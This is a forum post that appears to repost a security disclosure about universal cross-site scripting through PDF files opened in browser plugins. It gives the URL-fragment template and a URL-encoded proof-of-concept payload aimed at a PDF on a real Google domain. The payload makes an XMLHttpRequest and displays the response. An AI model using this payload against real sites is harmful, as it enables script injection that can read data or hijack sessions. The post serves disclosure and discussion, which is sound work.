![]() |
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]()
![]() |

|
| General Security General Secuirty related errors |
![]() |
|
Universal XSS with PDF files: highly dangerous
|
LinkBack | Thread Tools | Display Modes |
|
|
#1 (permalink) |
|
Administrator
Posts: 876
Join Date: Oct 2005
Rep Power: 10
IM:
|
this issue. It seams that PDF documents can execute JavaScript code for no apparent reason by using the following template: http://path/to/pdf/file.pdf#whatever...ipt:your_code_ here You must understand that the attacker doesn't need to have write access to the specified PDF document. In order to get an XSS vector working you need to have a PDF file hosted on the target and that's all about it. The rest is just a matter of your abilities and desires. This finding was originally mentioned by Sven Vetsch, on his blog. This is a very good and quite interesting. Good work. There is a POC I composed: http://www.google.com/librariancente...s_85x11.pdf#so mething=javascript:function%20createXMLHttpRequest (){%20%20%20try{%20ret urn%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}ca tch(e){}%20%20%20try{% 20return%20new%20ActiveXObject('Microsoft.XMLHTTP' );%20}catch(e){}%20%20 %20try{%20return%20new%20XMLHttpRequest();%20}catc h(e){}%20%20%20return% 20null;}var%20xhr%20=%20createXMLHttpRequest();xhr .onreadystatechange%20 =%20function(){%20%20%20%20if%20(xhr.readyState%20 ==%204)%20%20%20%20%20 %20%20%20alert(xhr.responseText);};xhr.open('GET', %20'http://www.google. com',%20true);xhr.send(null); More on the matter can be found here: http://www.gnucitizen.org/blog/danger-danger-danger/ http://www.disenchant.ch/blog/hackin...ser-plugins/34 -- pdp (architect) | petko d. petkov http://www.gnucitizen.org |
|
|
|
|
|
|
![]() |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|